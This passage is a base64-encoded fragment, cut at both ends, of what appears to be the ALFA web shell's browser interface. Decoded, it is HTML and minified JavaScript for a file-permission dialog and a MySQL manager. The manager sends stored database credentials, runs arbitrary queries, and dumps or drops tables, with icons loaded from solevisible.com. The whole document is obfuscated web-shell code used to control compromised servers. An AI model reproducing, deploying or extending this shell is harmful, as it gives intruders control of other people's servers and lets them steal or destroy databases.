GV4dC1vdmVyZmxvdzogZWxsaXBzaXM7JyBjbGFzcz0nb2xkLXBhdGgtY29udGVudCc+PC9kaXY+CgkJCQk8bGFiZWwgc3R5bGU9J21hcmdpbi10b3A6MTBweDsnIGNsYXNzPSduZXctZmlsZW5hbWUtbGJsJz5OZXcgZmlsZSBuYW1lPC9sYWJlbD4KCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmbmFtZSc+CgkJCQk8ZGl2IGNsYXNzPSdwZXJtLXRhYmxlLWhvbGRlcic+CgkJCQkJPHRhYmxlPgoJCQkJCSAgIDx0Ym9keT4KCQkJCQkgICAgICA8dHI+CgkJCQkJICAgICAgICAgPHRkPjxiPk1vZGU8L2I+PC90ZD4KCQkJCQkgICAgICAgICA8dGQ+VXNlcjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPkdyb3VwPC90ZD4KCQkJCQkgICAgICAgICA8dGQ+V29ybGQ8L3RkPgoJCQkJCSAgICAgIDwvdHI+CgkJCQkJICAgICAgPHRyPgoJCQkJCSAgICAgICAgIDx0ZD5SZWFkPC90ZD4KCQkJCQkgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd1cicgdmFsdWU9JzQnIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2dyJyB2YWx1ZT0nNCcgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nd3InIHZhbHVlPSc0JyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KCQkJCQkgICAgICA8L3RyPgoJCQkJCSAgICAgIDx0cj4KCQkJCQkgICAgICAgICA8dGQ+V3JpdGU8L3RkPgoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3V3JyB2YWx1ZT0nMicgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nZ3cnIHZhbHVlPScyJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KCQkJCQkgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd3dycgdmFsdWU9JzInIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgoJCQkJCSAgICAgIDwvdHI+CgkJCQkJICAgICAgPHRyPgoJCQkJCSAgICAgICAgIDx0ZD5FeGVjdXRlPC90ZD4KCQkJCQkgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd1eCcgdmFsdWU9JzEnIG9uY2xpY2s9J2NhbGNwZXJtKCk7Jz48L3RkPgoJCQkJCSAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2d4JyB2YWx1ZT0nMScgb25jbGljaz0nY2FsY3Blcm0oKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0nd3gnIHZhbHVlPScxJyBvbmNsaWNrPSdjYWxjcGVybSgpOyc+PC90ZD4KCQkJCQkgICAgICA8L3RyPgoJCQkJCSAgICAgIDx0cj4KCQkJCQkgICAgICAgICA8dGQ+UGVybWlzc2lvbjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J3UnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwidVwiLCBbXCJ1XCJdKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J2cnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwiZ1wiLCBbXCJnXCJdKTsnPjwvdGQ+CgkJCQkJICAgICAgICAgPHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6NjBweDsnIHR5cGU9J3RleHQnIG5hbWU9J3cnIG1heGxlbmd0aD0nMScgb25pbnB1dD0ndGhpcy52YWx1ZT10aGlzLnZhbHVlLnJlcGxhY2UoL1teMC03XS9nLDApO2F1dG9DaGVja1Blcm1zKHRoaXMudmFsdWUsIFwid1wiLCBbXCJ3XCJdKTsnPjwvdGQ+CgkJCQkJICAgICAgPC90cj4KCQkJCQkgICA8L3Rib2R5PgoJCQkJCTwvdGFibGU+CgkJCQk8L2Rpdj4KCgkJCTwvZm9ybT4KCQk8ZGl2IGNsYXNzPSdwb3B1cC1mb290Jz4KCQkJPGJ1dHRvbiBzdHlsZT0nYmFja2dyb3VuZDogIzJiNTIyNTsnIG5hbWU9J2FjY2VwdCcgYWN0aW9uPScnIG9uY2xpY2s9J2FsZmFQb3BVcERvQWN0aW9uKHRoaXMpOyc+PC9idXR0b24+CgkJCTxidXR0b24gc3R5bGU9J2JhY2tncm91bmQ6ICM5ZTJjMmM7JyBvbmNsaWNrPSdkLnF1ZXJ5U2VsZWN0b3IoXCIuY2wtcG9wdXAtZml4ZWRcIikuc3R5bGUuZGlzcGxheT1cIm5vbmVcIjsnPkNhbmNlbGw8L2J1dHRvbj4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4iOz8+CjxzY3JpcHQ+CmZ1bmN0aW9uIGFsZmFNeXNxbEFwaShlLHQpe3ZhciBhPXtob3N0Om15c3FsX2NhY2hlW2UuZGJfaWRdLmhvc3QsdXNlcjpteXNxbF9jYWNoZVtlLmRiX2lkXS51c2VyLHBhc3M6bXlzcWxfY2FjaGVbZS5kYl9pZF0ucGFzcyxkYjplLmRiX3RhcmdldCxkYl9pZDplLmRiX2lkfTtpZihlLmhhc093blByb3BlcnR5KCJkYl9pbmZvIikpZm9yKHZhciBpIGluIGUuZGJfaW5mbylhW2ldPWUuZGJfaW5mb1tpXTt2YXIgbD17YTphbGZhYjY0KCJTcWxfbWFuYWdlcl9hcGkiKSxjXzphbGZhYjY0KGNfKSxhbGZhMTphbGZhYjY0KEpTT04uc3RyaW5naWZ5KGEpKX07aWYoZS5oYXNPd25Qcm9wZXJ0eSgicG9zdCIpKWZvcih2YXIgaSBpbiBlLnBvc3QuaGFzT3duUHJvcGVydHkoImFsZmEyIikmJiJsb2FkX2RhdGEiIT1lLnBvc3QuYWxmYTImJiJwYWdlIiE9ZS5wb3N0LmFsZmEyJiYiZWRpdCIhPWUucG9zdC5hbGZhMiYmImRlbGV0ZSIhPWUucG9zdC5hbGZhMiYmKGQucXVlcnlTZWxlY3RvcigiIyIrZS5kYl9pZCsiIC5teXNxbC1xdWVyeS1yZXN1bHQtaGVhZGVyIC5teXNxbC1xdWVyeS1wYWdlciIpLmlubmVySFRNTD0iIixkLnF1ZXJ5U2VsZWN0b3IoIiMiK2UuZGJfaWQrIiAubXlzcWwtcXVlcnktcmVzdWx0LWhlYWRlciAubXlzcWwtcXVlcnktcmVwb3J0ZXIiKS5pbm5lckhUTUw9IiIpLGUucG9zdClsW2ldPWFsZmFiNjQoZS5wb3N0W2ldKTt2YXIgcj0iIjtmb3IodmFyIG8gaW4gbClyKz1vKyI9IitsW29dKyImIjthbGZhbG9hZGVyKGUuZGJfaWQsImJsb2NrIiksX0FqYXgoZC5VUkwscixmdW5jdGlvbihhKXthbGZhbG9hZGVyKGUuZGJfaWQsIm5vbmUiKSx0KGEpfSwhMCxlLmRiX2lkKX1mdW5jdGlvbiBhbGZhTXlzcWxGaWx0ZXJUYWJsZShlLHQpe3NldFRpbWVvdXQoZnVuY3Rpb24oKXt2YXIgYT0iIixpPSIiLGw9KGE9IiIsIiIpO2lmKG51bGwhPWUpYT1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPWUudmFsdWU7ZWxzZSBhPXQudGFyZ2V0LGk9dC5kYl9pZCxsPXQudmFsdWU7bD1uZXcgUmVnRXhwKGwsImkiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2krIiAiK2ErIiB1bCA+IGxpIikuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgdD1lLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbF90YWJsZXMiKTtpZihudWxsPT10KXJldHVybiExOy0xPT0odD10LmlubmVyVGV4dCkuc2VhcmNoKGwpP2Uuc3R5bGUuZGlzcGxheT0ibm9uZSI6ZS5zdHlsZS5kaXNwbGF5PSJibG9jayJ9KX0sMjAwKX1mdW5jdGlvbiBhbGZhTXlzcWxGaWx0ZXJBbGxUYWJsZShlLHQpe3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXRhYmxlcyBpbnB1dFtuYW1lPWZpbHRlcl9hbGxdIikudmFsdWUsbD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiBpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkLHI9W10sbz1bXTtpZihkLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2ErIiAubXlzcWwtdGFibGVzIC5saXN0X2NvbnRhaW5lciIpLmZvckVhY2goZnVuY3Rpb24oZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9uYW1lIik7Im5vIj09dCYmci5wdXNoKGEpLG8ucHVzaChhKX0pLHIubGVuZ3RoPjApe2lmKDA9PWkubGVuZ3RoJiZ2b2lkIDA9PT10KXJldHVybiExO2FsZmFNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6clswXSxhamF4X2lkOiJteXNxbF9nZXRfYWxsX3RhYmxlcyIsZGJfaW5mbzp7ZGF0YWJhc2VzOnJ9LHBvc3Q6e2FsZmEyOiJsb2FkX2FsbF90YWJsZXMiLGFsZmEzOmx9fSxmdW5jdGlvbihyKXtpZigwIT1yLmxlbmd0aCl7Zm9yKHZhciBvIGluIHI9SlNPTi5wYXJzZShyKSl7dmFyIG49byxzPWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5jbHMtIituKTthbGZhTXlzcWxNYWtlVGJsTGlzdChyW29dLHMsYSxuLGwpfXZvaWQgMD09PXQ/YWxmYU15c3FsRmlsdGVyVGFibGUobnVsbCx7ZGJfaWQ6YSx0YXJnZXQ6Ii5teXNxbC10YWJsZXMgLmxpc3RfY29udGFpbmVyIix2YWx1ZTppfSk6KGUuc2V0QXR0cmlidXRlKCJtb2RlIiwib3BlbmVkIiksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXRhYmxlcyAucGFyZW50LWV4cGFuZGVyIGltZyIpLnNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2JfbWludXMucG5nIil9fSl9ZWxzZSBpZih2b2lkIDA9PT10KWZvcih2YXIgbiBpbiBhbGZhTXlzcWxGaWx0ZXJUYWJsZShudWxsLHtkYl9pZDphLHRhcmdldDoiLm15c3FsLXRhYmxlcyAubGlzdF9jb250YWluZXIiLHZhbHVlOml9KSxvKWFsZmFNeXNxbFRhYmxlTW9kZShhLG9bbl0sImNsb3NlZCIpO2Vsc2V7dmFyIHM9IiIsYz1lLmdldEF0dHJpYnV0ZSgibW9kZSIpO2Zvcih2YXIgbiBpbiJvcGVuZWQiPT1jPyhlLnNldEF0dHJpYnV0ZSgibW9kZSIsImNsb3NlZCIpLHM9ImJfcGx1cy5wbmciKTooZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJvcGVuZWQiKSxzPSJiX21pbnVzLnBuZyIpLG8pYWxmYU15c3FsVGFibGVNb2RlKGEsb1tuXSxjKTtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtdGFibGVzIC5wYXJlbnQtZXhwYW5kZXIgaW1nIikuc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvIitzfX1mdW5jdGlvbiBhbGZhTXlzcWxUYWJsZU1vZGUoZSx0LGEpe3ZhciBpPWQucXVlcnlTZWxlY3RvcigiIyIrZSsiIC5jbHMtIit0KSxsPSIiO3ZvaWQgMD09PWE/KGw9LTEhPWkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImhpZGUtZGItdGFibGVzIik/ImJfbWludXMucG5nIjoiYl9wbHVzLnBuZyIsaS5jbGFzc0xpc3QudG9nZ2xlKCJoaWRlLWRiLXRhYmxlcyIpKToib3BlbmVkIj09YT8obD0iYl9wbHVzLnBuZyIsaS5jbGFzc0xpc3QuYWRkKCJoaWRlLWRiLXRhYmxlcyIpKToobD0iYl9taW51cy5wbmciLGkuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZS1kYi10YWJsZXMiKSksZC5xdWVyeVNlbGVjdG9yKCIjIitlKyIgLmNscy0iK3QrIi1leHBhbmRlciBpbWciKS5zcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS8iK2x9ZnVuY3Rpb24gYWxmYU15c3FsRXhwYW5kZXIoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1lLmdldEF0dHJpYnV0ZSgic3FsX2NvdW50IiksbD1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAuY2xzLSIrdCk7ImxvYWRlZCI9PWwuZ2V0QXR0cmlidXRlKCJtb2RlIik/YWxmYU15c3FsVGFibGVNb2RlKGEsdCk6YWxmYU15c3FsQXBpKHtkYl9pZDphLGRiX3RhcmdldDp0LGFqYXhfaWQ6Im15c3FsX2dldF90YWJsZXMiLHBvc3Q6e2FsZmEyOiJsb2FkX3RhYmxlcyIsYWxmYTM6aX19LGZ1bmN0aW9uKGUpezAhPWUubGVuZ3RoJiZhbGZhTXlzcWxNYWtlVGJsTGlzdChlPUpTT04ucGFyc2UoZSksbCxhLHQsaSl9KX1mdW5jdGlvbiBhbGZhTXlzcWxUYWJsZXNFdmlsKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGk9ZS5nZXRBdHRyaWJ1dGUoIm1vZGUiKTsiY2hlY2tlZCI9PWk/KGk9ITEsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJub3QiKSk6KGk9ITAsZS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJjaGVja2VkIikpLGQucXVlcnlTZWxlY3RvckFsbCgiIyIrYSsiICIrdCsiIGlucHV0W25hbWU9dGJsXFxbXFxdXSIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5jaGVja2VkPWl9KX1mdW5jdGlvbiBhbGZhTXlzcWxUYWJsZXNEdW1wRHJvcChlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPSJub25lIjsiZHVtcCI9PWUudmFsdWUmJihpPSJibG9jayIpLGQucXVlcnlTZWxlY3RvcigiIyIrYSsiICIrdCsiIC5kdW1wLWZpbGUtaG9sZGVyIikuc3R5bGUuZGlzcGxheT1pfWZ1bmN0aW9uIGFsZmFNeXNxbFRhYmxlc0R1bXBEcm9wQnRuKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxpPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGw9W10scj1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiBpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkLG89ZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgIit0KSxuPW8ucXVlcnlTZWxlY3Rvcigic2VsZWN0W25hbWU9dGFibGVzX2V2aWxdIikudmFsdWUscz1vLnF1ZXJ5U2VsZWN0b3IoIi5kdW1wLWZpbGUtaG9sZGVyIGlucHV0IikudmFsdWU7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIitpKyIgIit0KyIgaW5wdXRbbmFtZT10YmxcXFtcXF1dIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQmJmwucHVzaChlLnZhbHVlKX0pLGwubGVuZ3RoPjAmJmFsZmFNeXNxbEFwaSh7ZGJfaWQ6aSxkYl90YXJnZXQ6YSxhamF4X2lkOiJteXNxbF9xdWVyeV9ldmlsIixkYl9pbmZvOnt0YWJsZXM6bCxtb2RlOm4sZHVtcF9maWxlOnN9LHBvc3Q6e2FsZmEyOiJkdW1wX2Ryb3AifX0sZnVuY3Rpb24oZSl7MCE9ZS5sZW5ndGgmJihlPUpTT04ucGFyc2UoZSksImRyb3AiPT1uP2FsZmFNeXNxbE1ha2VUYmxMaXN0KGUsbyxpLGEscik6by5xdWVyeVNlbGVjdG9yKCIuZHVtcC1maWxlLWhvbGRlciIpLmluc2VydEFkamFjZW50SFRNTCgiYmVmb3JlZW5kIiwiPGRpdj48YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiK3MrJyIsImRvd25sb2FkIik7XCc+PHNwYW4+RG93bmxvYWQ6ICcrcysiPC9zcGFuPjwvYT48L2Rpdj4iKSl9KX1mdW5jdGlvbiBhbGZhTXlzcWxNYWtlVGJsTGlzdChlLHQsYSxpLGwpe3Quc2V0QXR0cmlidXRlKCJtb2RlIiwibG9hZGVkIik7dmFyIHI9Jzx1bD48bGk+PGRpdiBjbGFzcz0iYmxvY2siPjxpPjwvaT48Yj48L2I+PC9kaXY+PGRpdj48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDA7bWFyZ2luLWxlZnQ6IDExcHg7dGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBjbGFzcz0iZGItb3B0LWlkIiBkYl9pZD0iJythKyciIHBsYWNlaG9sZGVyPSJGaWx0ZXIgVGFibGUiIHRhcmdldD0iLmNscy0nK2krJyIgb25rZXl1cD0iYWxmYU15c3FsRmlsdGVyVGFibGUodGhpcyk7IiBuYW1lPSJmaWx0ZXIiPjwvZGl2PjwvbGk+Jztmb3IodmFyIG8gaW4gZSludWxsIT1lW29dJiYocis9IjxsaT48ZGl2IGNsYXNzPSdibG9jayc+PGk+PC9pPjxiPjwvYj48L2Rpdj48ZGl2IGNsYXNzPSd0YWJsZXMtcm93Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIitlW29dLm5hbWUrIic+Jm5ic3A7PGEgY2xhc3M9J2RiLW9wdC1pZCcgZGJfdGFyZ2V0PSciK2krIicgZGJfaWQ9JyIrYSsiJyBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPVwiYWxmYUxvYWRUYWJsZURhdGEodGhpcywgJyIrZVtvXS5uYW1lKyInKVwiPjxzcGFuIGNsYXNzPSdteXNxbF90YWJsZXMnIHN0eWxlPSdmb250LXdlaWdodDp1bnNldDsnPiIrZVtvXS5uYW1lKyI8L3NwYW4+PC9hPiIrKGw/IiA8c21hbGw+PHNwYW4gc3R5bGU9J2ZvbnQtd2VpZ2h0OnVuc2V0OycgY2xhc3M9J215c3FsX3RhYmxlX2NvdW50Jz4oIitlW29dLmNvdW50KyIpPC9zcGFuPjwvc21hbGw+IjoiJm5ic3A7IikrIjwvZGl2PjwvbGk+Iik7cis9JzwvdWw+PGRpdiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDI2cHg7bWFyZ2luLWJvdHRvbTogMTBweDttYXJnaW4tdG9wOiAxMHB4OyI+PGlucHV0IG9uY2hhbmdlPSJhbGZhTXlzcWxUYWJsZXNFdmlsKHRoaXMpOyIgZGJfaWQ9IicrYSsnIiBjbGFzcz0iZGItb3B0LWlkIiB0YXJnZXQ9Ii5jbHMtJytpKyciIHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iZGItb3B0LWlkIj48c2VsZWN0IG9uY2hhbmdlPSJhbGZhTXlzcWxUYWJsZXNEdW1wRHJvcCh0aGlzKTsiIGNsYXNzPSJkYi1vcHQtaWQiIGRiX2lkPSInK2ErJyIgdGFyZ2V0PSIuY2xzLScraSsnIiBjbGFzcz0iZGItb3B0LWlkIiBuYW1lPSJ0YWJsZXNfZXZpbCIgc3R5bGU9InBhZGRpbmc6IDA7d2lkdGg6IDEwMHB4OyI+PG9wdGlvbiBzZWxlY3RlZD5kcm9wPC9vcHRpb24+PG9wdGlvbj5kdW1wPC9vcHRpb24+PC9zZWxlY3Q+IDxidXR0b24gb25jbGljaz0iYWxmYU15c3FsVGFibGVzRHVtcERyb3BCdG4odGhpcyk7cmV0dXJuIGZhbHNlOyIgZGJfaWQ9IicrYSsnIiBjbGFzcz0iZGItb3B0LWlkIiBkYl90YXJnZXQ9IicraSsnIiB0YXJnZXQ9Ii5jbHMtJytpKyciIGNsYXNzPSJkYi1vcHQtaWQiPkRvIGl0PC9idXR0b24+PGRpdiBjbGFzcz0iZHVtcC1maWxlLWhvbGRlciIgc3R5bGU9ImRpc3BsYXk6bm9uZTttYXJnaW4tbGVmdDoyMHB4O21hcmdpbi10b3A6IDVweDsiPjxpbnB1dCBzdHlsZT0icGFkZGluZzogMDt0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJkdW1wLnNxbCIgbmFtZT0iZHVtcF9maWxlIj48L2Rpdj48L2Rpdj4nLHQuaW5uZXJIVE1MPXIsZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNscy0iK2krIi1leHBhbmRlciBpbWciKS5zcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9iX21pbnVzLnBuZyJ9ZnVuY3Rpb24gYWxmYU15c3FsUXVlcnkoZSl7dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiB0ZXh0YXJlYVtuYW1lPXF1ZXJ5XSIpLnZhbHVlO2FsZmFNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6dCxhamF4X2lkOiJteXNxbF9sb2FkX3F1ZXJ5X2RhdGEiLGRiX2luZm86e3F1ZXJ5Oml9LHBvc3Q6e2FsZmEyOiJxdWVyeSJ9fSxmdW5jdGlvbihlKXswIT1lLmxlbmd0aCYmKGU9SlNPTi5wYXJzZShlKSxhbGZhTXlzcWxSZXBvcnRCdWlsZGVyKGEsZSksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXF1ZXJ5LXRhYmxlIikuaW5uZXJIVE1MPWUuc3RhdHVzP2UudGFibGU6IiIsYWxmYU15c3FsVGFiQ3RsKHtjaGlsZDoxLGRiX2lkOmEsdGFyZ2V0OiIubXlzcWwtcXVlcnktcmVzdWx0LWNvbnRlbnQifSwhMCkpfSl9ZnVuY3Rpb24gYWxmYU15c3FsUmVwb3J0QnVpbGRlcihlLHQpe3ZhciBhPSIiO3Quc3RhdHVzfHwoYT0iPGRpdj48c3Bhbj5FcnJvcjogPC9zcGFuPjxkaXYgc3R5bGU9J3BhZGRpbmctbGVmdDogNTBweDsnPjxwcmU+Iit0LmVycm9yKyI8L3ByZT48L2Rpdj48L2Rpdj4iKTt2YXIgaT0iPGRpdj48c3Bhbj5RdWVyeTo8L3NwYW4+PGRpdiBzdHlsZT0ncGFkZGluZy1sZWZ0OiA1MHB4Oyc+PHByZT4iK3QucXVlcnkrIjwvcHJlPjwvZGl2PiIrYSsiPC9kaXY+IjtkLnF1ZXJ5U2VsZWN0b3IoIiMiK2UrIiAubXlzcWwtcXVlcnktcmVwb3J0ZXIiKS5pbm5lckhUTUw9aX1mdW5jdGlvbiBhbGZhTXlzcWxUYWJsZVBhbmVsQ3RsKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGE9KHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksZC5xdWVyeVNlbGVjdG9yKCIjIit0KSksaT1hLnF1ZXJ5U2VsZWN0b3IoIi50YWJsZXMtcGFuZWwtY3RsIik7Im5vbmUiPT1pLmdldEF0dHJpYnV0ZSgibW9kZSIpPyhhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC10YWJsZXMiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsaS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJibG9jayIpLGkuaW5uZXJIVE1MPSImI3gzQzsmI3gzQzsiLGEucXVlcnlTZWxlY3RvcigiLm15c3FsLXF1ZXJ5LXJlc3VsdHMtZml4ZWQiKS5jbGFzc0xpc3QucmVtb3ZlKCJteXNxbC1xdWVyeS1yZXN1bHRzLWZpeGVkIikpOihhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC10YWJsZXMiKS5zdHlsZS5kaXNwbGF5PSJub25lIixpLnNldEF0dHJpYnV0ZSgibW9kZSIsIm5vbmUiKSxpLmlubmVySFRNTD0iJiN4M0U7JiN4M0U7IixhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1xdWVyeS1yZXN1bHRzIikuY2xhc3NMaXN0LmFkZCgibXlzcWwtcXVlcnktcmVzdWx0cy1maXhlZCIpKSxpLmNsYXNzTGlzdC50b2dnbGUoInRhYmxlcy1wYW5lbC1jdGwtbWluIil9ZnVuY3Rpb24gYWxmYU15c3FsVGFiQ3RsKGUsdCl7dmFyIGE9dm9pZCAwPT09dD9lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKTplLmRiX2lkLGk9dm9pZCAwPT09dD9lLmdldEF0dHJpYnV0ZSgidGFyZ2V0Iik6ZS50YXJnZXQ7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIithKyIgLm15c3FsLXF1ZXJ5LWNvbnRlbnQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2xhc3NMaXN0LmFkZCgibXlzcWwtaGlkZS1jb250ZW50Iil9KSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgLm15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYiIpLmNsYXNzTGlzdC5yZW1vdmUoIm15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYiIpLHZvaWQgMD09PXQ/ZS5jbGFzc0xpc3QuYWRkKCJteXNxbC1xdWVyeS1zZWxlY3RlZC10YWIiKTpkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Om50aC1jaGlsZCgiK2UuY2hpbGQrIikiKS5jbGFzc0xpc3QuYWRkKCJteXNxbC1xdWVyeS1zZWxlY3RlZC10YWIiKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAiK2kpLmNsYXNzTGlzdC5yZW1vdmUoIm15c3FsLWhpZGUtY29udGVudCIpfWZ1bmN0aW9uIGFsZmFMb2FkVGFibGVEYXRhKGUsdCl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGk9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIik7YWxmYU15c3FsQXBpKHtkYl9pZDppLGRiX3RhcmdldDphLGFqYXhfaWQ6Im15c3FsX2xvYWRfdGFibGVfZGF0YSIsZGJfaW5mbzp7dGFibGU6dH0scG9zdDp7YWxmYTI6ImxvYWRfZGF0YSJ9fSxmdW5jdGlvbihlKXtpZigwIT1lLmxlbmd0aCl7ZT1KU09OLnBhcnNlKGUpO3ZhciBsPSIiLHI9Ijx0YWJsZSBib3JkZXI9JzEnPjx0ciBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiAjMzA1YjhlO2NvbG9yOiNGRkZGRkY7Jz48dGg+Q29sdW1uPC90aD48dGg+VHlwZTwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiIsbz0iPHRhYmxlIGJvcmRlcj0nMSc+PHRyIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0O2JhY2tncm91bmQtY29sb3I6ICMzMDViOGU7Y29sb3I6I0ZGRkZGRjsnPjx0aD5Db2x1bW48L3RoPjx0aD5UeXBlPC90aD48dGg+VmFsdWU8L3RoPjx0aD5DaGFuZ2U8L3RoPjwvdHI+IixuPSI8dGFibGUgYm9yZGVyPScxJz48dHIgc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7YmFja2dyb3VuZC1jb2xvcjogIzMwNWI4ZTtjb2xvcjojRkZGRkZGOyc+PHRoPkNvbHVtbjwvdGg+PHRoPlR5cGU8L3RoPjx0aD5Db2xsYXRpb248L3RoPjx0aD5P